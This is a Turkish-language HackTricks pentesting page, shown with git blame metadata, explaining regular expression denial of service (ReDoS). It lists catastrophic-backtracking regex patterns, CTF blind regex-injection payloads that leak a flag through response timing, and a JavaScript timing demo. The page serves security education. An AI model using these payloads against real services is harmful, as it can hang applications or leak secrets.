hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md

104 lines
6.4 KiB
Markdown
Raw Normal View History

2024-02-10 18:14:16 +00:00
# Düzenli İfade Hizmet Dışı Bırakma - ReDoS
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin!</summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 18:14:16 +00:00
# Düzenli İfade Hizmet Dışı Bırakma (ReDoS)
2021-01-26 13:51:43 +00:00
2024-02-10 18:14:16 +00:00
Bir **Düzenli İfade Hizmet Dışı Bırakma (ReDoS)**, düzenli ifadelerin (metinde desenleri aramak ve eşleştirmek için bir yol) nasıl çalıştığındaki zayıflıklardan faydalanıldığında meydana gelir. Bazen, düzenli ifadeler kullanıldığında, özellikle çalıştıkları metin parçası büyüdükçe, çok yavaş hale gelebilirler. Bu yavaşlık, metin boyutunda bile küçük artışlarla hızla büyüyebilir. Saldırganlar, bu sorunu kullanarak düzenli ifadeler kullanan bir programın uzun süre düzgün çalışmasını engelleyebilir.
2024-02-06 03:10:38 +00:00
2024-02-10 18:14:16 +00:00
## Sorunlu Regex Naif Algoritması
2021-01-26 13:53:03 +00:00
2024-02-10 18:14:16 +00:00
**Detayları [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)** adresinde kontrol edin.
2021-01-26 13:51:43 +00:00
2024-02-10 18:14:16 +00:00
## Kötü Amaçlı Regexler <a href="#evil-regexes" id="evil-regexes"></a>
2021-01-26 13:51:43 +00:00
2024-02-10 18:14:16 +00:00
Kötü bir düzenli ifade deseni, bir DoS'a neden olacak şekilde oluşturulmuş girdide takılı kalabilen bir desendir. Kötü amaçlı regex desenleri genellikle tekrarlayan gruplama ve tekrarlama veya tekrarlayan grup içinde örtüşme içeren desenler içerir. Kötü desen örnekleri şunları içerir:
2021-01-26 13:51:43 +00:00
2024-02-03 16:02:14 +00:00
* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
2024-02-10 18:14:16 +00:00
* (.*a){x} için x > 10
2021-01-26 13:51:43 +00:00
2024-02-10 18:14:16 +00:00
Tüm bunlar, `aaaaaaaaaaaaaaaaaaaaaaaa!` girdisine karşı savunmasızdır.
2021-01-26 13:51:43 +00:00
2024-02-10 18:14:16 +00:00
## ReDoS Yükleri
2022-04-05 22:13:36 +00:00
2024-02-10 18:14:16 +00:00
### ReDoS Aracılığıyla Dize Sızdırma
2022-04-05 22:13:36 +00:00
2024-02-10 18:14:16 +00:00
Bir CTF (veya hata ödülü) sırasında, hassas bilgilerin (bayrak) eşleştiği Regex'i **siz kontrol edebilirsiniz**. Ardından, bir Regex eşleşirse **sayfayı dondurmanız (zaman aşımı veya daha uzun işleme süresi)** ve eşleşmezse **dondurmamanız** yararlı olabilir. Bu şekilde, dizeyi **karakter karakter** sızdırabilirsiniz:
2022-04-05 22:13:36 +00:00
2024-02-10 18:14:16 +00:00
* [**Bu gönderide**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) şu ReDoS kuralını bulabilirsiniz: `^(?=<flag>)((.*)*)*salt$`
* Örnek: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* [**Bu çözümde**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) şunu bulabilirsiniz: `<flag>(((((((.*)*)*)*)*)*)*)!`
* [**Bu çözümde**](https://ctftime.org/writeup/25869) şunu kullandı: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
2022-04-05 22:13:36 +00:00
2024-02-10 18:14:16 +00:00
### Giriş ve Regex'i Kontrol Eden ReDoS
2021-01-26 13:51:43 +00:00
2024-02-10 18:14:16 +00:00
Aşağıdakiler, **girişi** ve **regex'i** kontrol ettiğiniz **ReDoS** örnekleridir:
2021-01-26 13:51:43 +00:00
```javascript
function check_time_regexp(regexp, text){
2024-02-10 18:14:16 +00:00
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
2021-01-26 13:51:43 +00:00
}
2022-04-05 22:13:36 +00:00
// This payloads work because the input has several "a"s
2021-01-26 13:51:43 +00:00
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
2024-02-10 18:14:16 +00:00
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
2021-01-26 13:51:43 +00:00
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
2024-02-10 18:14:16 +00:00
## Araçlar
2021-04-16 09:25:21 +00:00
2022-04-27 12:34:57 +00:00
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
## Referanslar
2024-02-03 16:02:14 +00:00
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
2024-02-06 03:10:38 +00:00
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
2024-02-03 16:02:14 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
2022-04-28 16:01:33 +00:00
</details>